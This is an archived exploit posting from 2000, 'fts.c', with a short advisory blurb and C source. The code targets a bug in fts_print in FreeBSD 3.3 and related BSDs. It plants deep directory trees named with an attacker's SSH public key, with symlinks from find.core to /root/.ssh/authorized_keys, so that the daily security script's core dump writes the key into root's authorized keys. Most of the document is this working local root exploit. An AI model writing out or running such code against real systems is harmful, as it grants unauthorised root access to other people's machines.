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fts.c

fts.c
Posted Mar 29, 2000
Site b0f.freebsd.lublin.pl

Bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). FreeBSD 3.3 and earlier, openbsd, and netbsd are vulnerable.

systems | netbsd, freebsd, openbsd
MD5 | fc1bc1404925e75c468de8d54130e598

fts.c

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/*

(c) 1999 babcia padlina ltd. / buffer0verfl0w security (b0f.morphed.net)

bug in fts_print function allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).

affected systems:
- freebsd 3.3 and earlier
- probably openbsd/netbsd

fix:
- limit root's coredump size
- patch libc



*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;

if (chdir(dir))
return -1;

if (symlink(linkfrom, linkto) < 0)
return -1;

return 0;
}


int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];

sprintf(pid, "%d", getpid());

if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}

if (chdir(pid))
{
perror("chdir()");
return -1;
}

bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);

for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}

if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}

return 0;
}
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